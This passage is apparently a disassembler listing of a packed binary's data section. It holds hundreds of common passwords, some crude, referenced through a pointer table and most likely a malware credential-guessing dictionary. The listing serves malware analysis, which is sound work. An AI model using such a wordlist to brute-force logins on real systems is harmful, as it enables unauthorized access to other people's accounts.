aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042AC38o
align 4
aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042AC34o
aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042AC30o
align 4
aLol db 'lol',0 ; DATA XREF: .nsp0:0042AC2Co
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042AC28o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042AC24o
align 10h
aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042AC20o
align 4
aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042AC1Co
align 10h
aTestin db 'testin',0 ; DATA XREF: .nsp0:0042AC18o
align 4
aTester db 'tester',0 ; DATA XREF: .nsp0:0042AC14o
align 10h
a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042AC10o
align 4
aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042AC0Co
align 4
aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042AC08o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042AC04o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042AC00o
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042ABFCo
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042ABF8o
align 4
aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042ABF4o
align 4
aYoung db 'young',0 ; DATA XREF: .nsp0:0042ABF0o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042ABECo
align 10h
aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042ABE8o
aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042ABE4o
align 4
aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042ABE0o
align 4
aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042ABDCo
align 4
aYang db 'yang',0 ; DATA XREF: .nsp0:0042ABD8o
; .nsp0:0042B314o
align 4
aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042ABD4o
; .nsp0:0042B310o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042ABD0o
align 4
aXray db 'xray',0 ; DATA XREF: .nsp0:0042ABCCo
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042ABC8o
align 4
aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042ABC4o
align 4
aXman db 'xman',0 ; DATA XREF: .nsp0:0042ABC0o
align 4
aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042ABBCo
align 4
aXena db 'xena',0 ; DATA XREF: .nsp0:0042ABB8o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042ABB4o
aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042ABB0o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042ABACo
align 4
aWorm db 'worm',0 ; DATA XREF: .nsp0:0042ABA8o
align 10h
aWork db 'work',0 ; DATA XREF: .nsp0:0042ABA4o
align 4
aWorf db 'worf',0 ; DATA XREF: .nsp0:0042ABA0o
align 10h
aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042AB9Co
align 4
aWord db 'word',0 ; DATA XREF: .nsp0:0042AB98o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042AB94o
align 10h
aWood db 'wood',0 ; DATA XREF: .nsp0:0042AB90o
align 4
aWomen db 'women',0 ; DATA XREF: .nsp0:0042AB8Co
align 10h
aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042AB88o
align 4
aWoman db 'woman',0 ; DATA XREF: .nsp0:0042AB84o
align 10h
aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042AB80o
align 4
aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042AB7Co
align 4
aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042AB78o
align 4
aWithin db 'within',0 ; DATA XREF: .nsp0:0042AB74o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042AB70o
aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042AB6Co
align 4
aWired db 'wired',0 ; DATA XREF: .nsp0:0042AB68o
align 10h
aWinston db 'winston',0 ; DATA XREF: .nsp0:0042AB64o
aWing db 'wing',0 ; DATA XREF: .nsp0:0042AB60o
align 10h
aWine db 'wine',0 ; DATA XREF: .nsp0:0042AB5Co
align 4
aWindows db 'windows',0 ; DATA XREF: .nsp0:0042AB58o
aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042AB54o
align 4
aWillie db 'willie',0 ; DATA XREF: .nsp0:0042AB50o
align 10h
aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042AB4Co
align 4
aWilliam db 'william',0 ; DATA XREF: .nsp0:0042AB48o
aWill db 'will',0 ; DATA XREF: .nsp0:0042AB44o
align 4
aWhore db 'whore',0 ; DATA XREF: .nsp0:0042AB40o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042AB3Co
align 10h
aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042AB38o
aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042AB34o
aWhite db 'white',0 ; DATA XREF: .nsp0:0042AB30o
align 4
aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042AB2Co
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042AB28o
aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042AB24o
align 4
aWestern db 'western',0 ; DATA XREF: .nsp0:0042AB20o
aWest db 'west',0 ; DATA XREF: .nsp0:0042AB1Co
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042AB18o
align 10h
aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042AB14o
align 4
aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042AB10o
align 10h
aWell db 'well',0 ; DATA XREF: .nsp0:0042AB0Co
align 4
aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042AB08o
align 10h
aWeed db 'weed',0 ; DATA XREF: .nsp0:0042AB04o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042AB00o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042AAFCo
aWave db 'wave',0 ; DATA XREF: .nsp0:0042AAF8o
align 4
aWater db 'water',0 ; DATA XREF: .nsp0:0042AAF4o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042AAF0o
align 4
aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042AAECo
align 10h
aWarren db 'warren',0
align 4
aWarp db 'warp',0
align 10h
aWargames db 'wargames',0
align 4
aWarfare db 'warfare',0
aWarez db 'warez',0
align 4
aWard db 'ward',0
align 4
aWaco db 'waco',0
align 4
aVodka db 'vodka',0
align 4
aVisualba db 'visualba',0
align 10h
aVisual db 'visual',0
align 4
aVisitor db 'visitor',0
aVirus db 'virus',0
align 4
aVirginia db 'virginia',0
align 4
aVirgin db 'virgin',0
align 4
aVillage db 'village',0
aVideogam db 'videogam',0
align 10h
aVideo db 'video',0 ; DATA XREF: .nsp0:loc_408EC3o
align 4
aVictor db 'victor',0
align 10h
aVicky db 'vicky',0
align 4
aVertigo db 'vertigo',0
aVeronica db 'veronica',0
align 4
aVenus db 'venus',0 ; DATA XREF: .nsp0:0042AA94o
align 4
aVasant db 'vasant',0
align 4
aVampire db 'vampire',0
aValerie db 'valerie',0 ; DATA XREF: .nsp0:0042AA88o
aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042AA84o
align 4
aUucp db 'uucp',0 ; DATA XREF: .nsp0:0042AA80o
align 4
aUtility db 'utility',0
aUtil db 'util',0
align 4
aUsmc db 'usmc',0
align 4
aUsername db 'username',0
align 10h
aUsermane db 'usermane',0
align 4
aUsenet db 'usenet',0
align 4
aUrsula db 'ursula',0
align 4
aUrchin db 'urchin',0
align 4
aUranus db 'uranus',0
align 4
aUpload db 'upload',0 ; DATA XREF: .nsp0:00407281o
align 4
aUnlock db 'unlock',0
align 4
aUnknown_0 db 'unknown',0
aUniversi db 'universi',0
align 10h
aUniverse db 'universe',0
align 4
aUniversa db 'universa',0
align 4
aUniform db 'uniform',0
aUnicorn db 'unicorn',0
aUnhappy db 'unhappy',0
aUndo db 'undo',0
align 4
aUncle db 'uncle',0
align 10h
aUmesh db 'umesh',0
align 4
aUgly db 'ugly',0
align 10h
aTuttle db 'tuttle',0
align 4
aTurn db 'turn',0
align 10h
aTuesday db 'tuesday',0
aTubas db 'tubas',0
align 10h
aTruth db 'truth',0
align 4
aTrue db 'true',0
align 10h
aTron db 'tron',0
align 4
aTrombone db 'trombone',0
align 4
aTrojan db 'trojan',0
align 4
aTrivial db 'trivial',0
aTrisha db 'trisha',0
align 4
aTrek db 'trek',0
align 4
aTree db 'tree',0
align 4
aTrapdoor db 'trapdoor',0
align 4
aTrap db 'trap',0
align 10h
aTransfer db 'transfer',0
align 4
aTrails db 'trails',0
align 4
aTracy db 'tracy',0
align 4
aTracie db 'tracie',0
align 4
aTraci db 'traci',0
align 4
aToyota_0 db 'toyota',0
align 4
aToxic db 'toxic',0
align 4
aTortoise db 'tortoise',0
align 4
aTopograp db 'topograp',0
align 4
aTomato db 'tomato',0
align 4
aTokenrin db 'tokenrin',0
align 4
aToken db 'token',0
align 10h
aToggle db 'toggle',0
align 4
aToad db 'toad',0
align 10h
aTits db 'tits',0
align 4
aTina db 'tina',0
align 10h
aTime db 'time',0
align 4
aTiger db 'tiger',0
align 10h
aTiffany db 'tiffany',0
aThursday db 'thursday',0
align 4
aThin db 'thin',0
align 4
aTheresa db 'theresa',0
aThailand db 'thailand',0
align 10h
aText db 'text',0
align 4
aTetris db 'tetris',0 ; DATA XREF: .nsp0:0042A988o
align 10h
aTess db 'tess',0 ; DATA XREF: .nsp0:0042A984o
align 4
aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0042A980o
align 4
aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0042A97Co
align 10h
aTera db 'tera',0 ; DATA XREF: .nsp0:0042A978o
align 4
aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042A974o
align 10h
aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0042A970o
align 4
aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042A96Co
align 4
aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042A968o
align 10h
aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042A964o
aTeen db 'teen',0 ; DATA XREF: .nsp0:0042A960o
align 10h
aTech db 'tech',0 ; DATA XREF: .nsp0:0042A95Co
align 4
aTears db 'tears',0 ; DATA XREF: .nsp0:0042A958o
align 10h
aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042A954o
align 4
aTeam db 'team',0 ; DATA XREF: .nsp0:0042A950o
align 10h
aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042A948o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042A944o
align 4
aTarget db 'target',0 ; DATA XREF: .nsp0:0042A940o
align 4
aTara db 'tara',0 ; DATA XREF: .nsp0:0042A93Co
align 4
aTape db 'tape',0 ; DATA XREF: .nsp0:0042A938o
align 4
aTango db 'tango',0 ; DATA XREF: .nsp0:0042A934o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042A930o
align 10h
aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042A92Co
align 4
aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042A928o
align 10h
aTami db 'tami',0 ; DATA XREF: .nsp0:0042A924o
align 4
aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042A920o
align 10h
aTall db 'tall',0 ; DATA XREF: .nsp0:0042A91Co
align 4
aTalk db 'talk',0 ; DATA XREF: .nsp0:0042A918o
align 10h
aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042A914o
aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042A910o
align 10h
aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042A90Co
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042A908o
align 4
aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042A904o
align 10h
aSword db 'sword',0 ; DATA XREF: .nsp0:0042A900o
align 4
aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042A8FCo
align 10h
aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042A8F8o
align 4
aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042A8F4o
aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042A8F0o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042A8ECo
aSusie db 'susie',0 ; DATA XREF: .nsp0:0042A8E8o
align 4
aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042A8E4o
aSusan db 'susan',0 ; DATA XREF: .nsp0:0042A8E0o
align 4
aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042A8DCo
aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042A8D8o
align 4
aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042A8D4o
align 4
aSupport db 'support',0 ; DATA XREF: .nsp0:0042A8D0o
aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042A8CCo
align 4
aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042A8C8o
align 4
aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042A8C4o
align 10h
aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042A8C0o
align 4
aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042A8BCo
align 4
aSunday db 'sunday',0 ; DATA XREF: .nsp0:0042A8B8o
align 10h
aSummer db 'summer',0 ; DATA XREF: .nsp0:0042A8B4o
align 4
aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042A8B0o
align 10h
aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042A8ACo
align 4
aSuck db 'suck',0 ; DATA XREF: .nsp0:0042A8A8o
align 4
aSuccess db 'success',0 ; DATA XREF: .nsp0:0042A8A4o
aSubway db 'subway',0 ; DATA XREF: .nsp0:0042A8A0o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042A89Co
align 10h
aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042A898o
align 4
aStrip db 'strip',0 ; DATA XREF: .nsp0:0042A890o
align 4
aString db 'string',0 ; DATA XREF: .nsp0:0042A88Co
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0042A888o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042A884o
align 4
aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042A880o
align 10h
aStrange db 'strange',0 ; DATA XREF: .nsp0:0042A87Co
aStones db 'stones',0 ; DATA XREF: .nsp0:0042A878o
align 10h
aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042A874o
align 4
aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042A870o
align 4
aSteve db 'steve',0 ; DATA XREF: .nsp0:0042A86Co
align 4
aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042A868o
align 4
aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042A864o
align 10h
aSteph db 'steph',0 ; DATA XREF: .nsp0:0042A860o
align 4
aSteel db 'steel',0 ; DATA XREF: .nsp0:0042A85Co
align 10h
aSteal db 'steal',0 ; DATA XREF: .nsp0:0042A858o
align 4
aSteak db 'steak',0 ; DATA XREF: .nsp0:0042A854o
align 10h
aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042A850o
align 4
aStartup db 'startup',0 ; DATA XREF: .nsp0:0042A84Co
aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042A848o
align 10h
aStart db 'start',0 ; DATA XREF: .nsp0:00405FB0o
; .nsp0:0042A844o
align 4
aStarship db 'starship',0 ; DATA XREF: .nsp0:0042A840o
align 4
aStar db 'star',0 ; DATA XREF: .nsp0:0042A83Co
align 4
aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042A838o
align 4
aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042A834o
align 4
aStaci db 'staci',0 ; DATA XREF: .nsp0:0042A830o
align 4
aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042A82Co
align 4
aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042A828o
align 4
aSquires db 'squires',0 ; DATA XREF: .nsp0:0042A824o
aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042A820o
align 4
aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042A81Co
align 10h
aSpring db 'spring',0 ; DATA XREF: .nsp0:0042A818o
align 4
aSpred db 'spred',0 ; DATA XREF: .nsp0:0042A814o
align 10h
aSpit db 'spit',0 ; DATA XREF: .nsp0:0042A810o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042A80Co
align 4
aSpider db 'spider',0 ; DATA XREF: .nsp0:0042A808o
align 4
aSpice db 'spice',0 ; DATA XREF: .nsp0:0042A804o
align 4
aSpell db 'spell',0 ; DATA XREF: .nsp0:0042A800o
align 4
aSpear db 'spear',0 ; DATA XREF: .nsp0:0042A7FCo
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042A7F8o
align 10h
aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042A7F4o
align 4
aSouth db 'south',0 ; DATA XREF: .nsp0:0042A7F0o
align 4
aSource db 'source',0 ; DATA XREF: .nsp0:0042A7ECo
align 4
aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042A7E8o
aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042A7E4o
align 4
aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042A7E0o
align 4
aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042A7DCo
align 4
aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042A7D8o
align 4
aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042A7D4o
align 10h
aSoftware db 'software',0 ; DATA XREF: .nsp0:0042A7D0o
align 4
aSoft db 'soft',0
align 4
aSodomy db 'sodomy',0
align 4
aSocrates db 'socrates',0
align 4
aSocial db 'social',0
align 10h
aSoap db 'soap',0
align 4
aSnoopy db 'snoopy',0
align 10h
aSnatch db 'snatch',0
align 4
aSnake db 'snake',0
align 10h
aSnafu db 'snafu',0
align 4
aSnach db 'snach',0
align 10h
aSmut db 'smut',0
align 4
aSmtp db 'smtp',0
align 10h
aSmother db 'smother',0
aSmooch db 'smooch',0
align 10h
aSmiles db 'smiles',0
align 4
aSmile db 'smile',0
align 10h
aSmart db 'smart',0
align 4
aSmall db 'small',0
align 10h
aSlut db 'slut',0
align 4
aSlow db 'slow',0
align 10h
aSliders db 'sliders',0
aSlick db 'slick',0
align 10h
aSlave db 'slave',0
align 4
aSkull db 'skull',0
align 10h
aSite db 'site',0
align 4
aSingle db 'single',0
align 10h
aSinger db 'singer',0
align 4
aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042A760o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042A75Co
align 10h
aSimple db 'simple',0 ; DATA XREF: .nsp0:0042A758o
align 4
aSimon db 'simon',0 ; DATA XREF: .nsp0:0042A754o
align 10h
aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042A750o
aSilver db 'silver',0 ; DATA XREF: .nsp0:0042A74Co
align 10h
aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042A748o
align 4
aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042A744o
align 4
aSick db 'sick',0 ; DATA XREF: .nsp0:0042A740o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042A73Co
aShort db 'short',0 ; DATA XREF: .nsp0:0042A738o
align 4
aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042A734o
aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042A730o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042A72Co
aShit db 'shit',0 ; DATA XREF: .nsp0:0042A728o
align 4
aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042A724o
aShift db 'shift',0 ; DATA XREF: .nsp0:0042A720o
align 4
aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042A71Co
align 4
aShell db 'shell',0 ; DATA XREF: .nsp0:0042A718o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042A714o
aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042A710o
align 10h
aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042A70Co
align 4
aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042A708o
align 10h
aShark db 'shark',0 ; DATA XREF: .nsp0:0042A704o
align 4
aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042A700o
align 10h
aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042A6FCo
aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042A6F8o
align 10h
aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042A6F4o
align 4
aService db 'service',0 ; DATA XREF: .nsp0:0042A6F0o
aSerial db 'serial',0 ; DATA XREF: .nsp0:0042A6ECo
align 4
aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042A6E8o
align 4
aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042A6E4o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042A6E0o
align 4
aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042A6DCo
align 10h
aSega db 'sega',0 ; DATA XREF: .nsp0:0042A6D8o
align 4
aSeed db 'seed',0 ; DATA XREF: .nsp0:0042A6D4o
align 10h
aSecurity db 'security',0 ; DATA XREF: .nsp0:0042A6D0o
align 4
aSearch db 'search',0 ; DATA XREF: .nsp0:0042A6CCo
align 4
aScout db 'scout',0 ; DATA XREF: .nsp0:0042A6C8o
align 4
aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042A6C4o
align 4
aScott db 'scott',0 ; DATA XREF: .nsp0:0042A6C0o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042A6BCo
align 4
aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042A6B8o
align 10h
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042A6B4o
aSchool db 'school',0 ; DATA XREF: .nsp0:0042A6B0o
align 4
aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042A6ACo
align 4
aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042A6A8o
aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042A6A4o
align 4
aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042A6A0o
align 4
aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042A69Co
align 10h
aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042A698o
align 4
aSara db 'sara',0 ; DATA XREF: .nsp0:0042A694o
align 10h
aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042A690o
align 4
aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042A68Co
align 10h
aSample db 'sample',0 ; DATA XREF: .nsp0:0042A688o
align 4
aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042A684o
align 4
aSalt db 'salt',0 ; DATA XREF: .nsp0:0042A680o
align 4
aSale db 'sale',0 ; DATA XREF: .nsp0:0042A67Co
align 4
aSalami db 'salami',0 ; DATA XREF: .nsp0:0042A678o
align 4
aSafe db 'safe',0 ; DATA XREF: .nsp0:0042A674o
align 4
aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042A670o
align 4
aRush db 'rush',0 ; DATA XREF: .nsp0:0042A66Co
align 4
aRunning db 'running',0 ; DATA XREF: .nsp0:0042A668o
aRules db 'rules',0 ; DATA XREF: .nsp0:0042A664o
align 4
aRude db 'rude',0 ; DATA XREF: .nsp0:0042A660o
align 4
aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042A65Co
align 4
aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042A658o
align 4
aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042A654o
align 4
aRough db 'rough',0 ; DATA XREF: .nsp0:0042A650o
align 4
aRoses db 'roses',0 ; DATA XREF: .nsp0:0042A64Co
align 4
aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042A648o
align 10h
aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042A644o
aRose db 'rose',0 ; DATA XREF: .nsp0:0042A640o
align 10h
aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042A63Co
align 4
aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042A638o
aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042A634o
align 4
aRomano db 'romano',0 ; DATA XREF: .nsp0:0042A630o
align 10h
aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042A62Co
align 4
aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042A628o
align 10h
aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042A624o
align 4
aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042A620o
align 4
aRock db 'rock',0 ; DATA XREF: .nsp0:0042A61Co
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042A618o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042A614o
align 4
aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042A610o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042A60Co
align 4
aRobot db 'robot',0 ; DATA XREF: .nsp0:0042A608o
align 10h
aRobin db 'robin',0 ; DATA XREF: .nsp0:0042A604o
align 4
aRobert db 'robert',0 ; DATA XREF: .nsp0:0042A600o
align 10h
aRoach db 'roach',0 ; DATA XREF: .nsp0:0042A5FCo
align 4
aRisc db 'risc',0 ; DATA XREF: .nsp0:0042A5F8o
align 10h
aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042A5F4o
align 4
aRiot db 'riot',0 ; DATA XREF: .nsp0:0042A5F0o
align 10h
aRing db 'ring',0 ; DATA XREF: .nsp0:0042A5ECo
align 4
aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042A5E8o
align 4
aRight db 'right',0 ; DATA XREF: .nsp0:0042A5E4o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042A5E0o
align 4
aRick db 'rick',0 ; DATA XREF: .nsp0:0042A5DCo
align 10h
aRich db 'rich',0 ; DATA XREF: .nsp0:0042A5D8o
align 4
aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042A5D4o
align 10h
aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042A5D0o
align 4
aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042A5CCo
align 4
aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042A5C8o
align 10h
aReport db 'report',0 ; DATA XREF: .nsp0:0042A5C4o
align 4
aRent db 'rent',0 ; DATA XREF: .nsp0:0042A5C0o
align 10h
aReno db 'reno',0 ; DATA XREF: .nsp0:0042A5BCo
align 4
aRenee db 'renee',0 ; DATA XREF: .nsp0:0042A5B8o
align 10h
aRemote db 'remote',0 ; DATA XREF: .nsp0:0042A5B4o
align 4
aRelease db 'release',0 ; DATA XREF: .nsp0:0042A5B0o
aRegional db 'regional',0 ; DATA XREF: .nsp0:0042A5ACo
align 4
aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042A5A8o
align 4
aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042A5A4o
aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042A5A0o
aRecord db 'record',0 ; DATA XREF: .nsp0:0042A59Co
align 10h
aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042A598o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042A594o
aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042A590o
align 4
aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042A58Co
align 10h
aReam db 'ream',0 ; DATA XREF: .nsp0:0042A588o
align 4
aReally db 'really',0 ; DATA XREF: .nsp0:0042A584o
align 10h
aReality db 'reality',0 ; DATA XREF: .nsp0:0042A580o
aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042A57Co
align 10h
aRazor db 'razor',0 ; DATA XREF: .nsp0:0042A578o
align 4
aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042A574o
align 10h
aRape db 'rape',0 ; DATA XREF: .nsp0:0042A570o
align 4
aRandom_0 db 'random',0 ; DATA XREF: .nsp0:00406D40o
; .nsp0:0042A56Co
align 10h
aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042A568o
aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042A564o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042A560o
aRain db 'rain',0 ; DATA XREF: .nsp0:0042A55Co
align 4
aRaid db 'raid',0 ; DATA XREF: .nsp0:0042A558o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042A554o
align 4
aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042A550o
align 4
aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042A54Co
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042A548o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042A544o
; .nsp0:0042B29Co
align 4
aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042A540o
; .nsp0:0042B298o
align 4
aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042A53Co
align 4
aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042A538o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042A534o
align 4
